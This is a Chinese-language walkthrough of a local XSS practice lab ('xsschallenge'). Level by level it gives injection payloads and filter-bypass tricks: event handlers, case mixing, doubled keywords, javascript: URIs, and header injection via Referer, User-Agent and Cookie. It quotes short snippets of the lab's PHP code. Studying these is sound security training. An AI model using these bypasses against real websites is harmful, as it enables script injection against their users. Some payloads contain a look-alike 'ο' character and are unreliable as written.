观察页面
http://192.168.80.139/xsschallenge/level1.php?name=test
尝试在name=
后面输入最近基本的xss语法
<script>alert(1)</script>
查看页面源代码
可以通过构造闭合
"> <script>alert(1)</script>
查看页面源代码
发现过滤了特殊字符
通过单引号闭合,使用触发事件来绕过
' οnclick='alert(/xss/)
过滤了< >
标签
可是试着尝试上一关的方法
" οnclick="alert(1)
通过查看源码得知,替换了script
为scr_ipt
使用大写绕过,看看是否可行
<SCRIPT>alert(10)</SCRIPT>
发现还是不行,后端把 我们输入的大写,替换成了小写
尝试其他方法绕过,使用伪协议
"> <a href=javascript:alert(1)>demo</a>
输入测试,查看源代码,依旧替换了script
"><Img sRc=# OnErRoR=alert(/xss/);>
使用上一关的通过代码,发现把on
给过滤掉 了,还把href
给过滤了
我们可以尝试点击事件,双写on
,来绕过
" oonnclick=alert(1)//
在页面输入框中输入" onclick=alert(1)//
查看页面源代码,发现双引号被做了转义,只能通过其他方式去绕过
可以↓方式去绕过
j	avasc r ipt:alert(/xss/)
j	avasc r ipt:alert('http://')
没有输入框可以在地址栏中绕过
192.168.80.139/xsschallenge/level10.php?keyword=<script>alert(1)</script>
页面没有反应,
查看页面源代码,发现三个隐藏起来的输入框
可以尝试使用t_link\t_history\t_sort
这三个 挨个尝试
发现只有 在t_sort
输入的时候,才有变化
http://192.168.80.139/xsschallenge/level10.php?t_sort=<script>alert(1)</script>
构造其他方法
" type="test" οnclick="alert(1)
代码审计
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "没有找到和"
.htmlspecialchars($str)."相关的结果.".'
'" type="hidden">
.'" type="hidden">
.htmlspecialchars($str00).'" type="hidden">
.$str33.'" type="hidden">
查看页面代码
发现t_ref
的value
值是第十关的 地址
" type="button" οnclick="alert(1)
也可以使用bp
抓取数据包修改Referer字段的值
代码审计
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "没有找到和"
.htmlspecialchars($str)."相关的结果.".'
'" type="hidden">
.'" type="hidden">
.htmlspecialchars($str00).'" type="hidden">
.$str33.'" type="hidden">
" type="button" οnmοuseοver="alert(1)"
代码审计
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "没有找到和"
.htmlspecialchars($str)."相关的结果.".'
'" type="hidden">
.'" type="hidden">
.htmlspecialchars($str00).'" type="hidden">
.$str33.'" type="hidden">
user=" type="button" οnmοuseοver="alert(1)"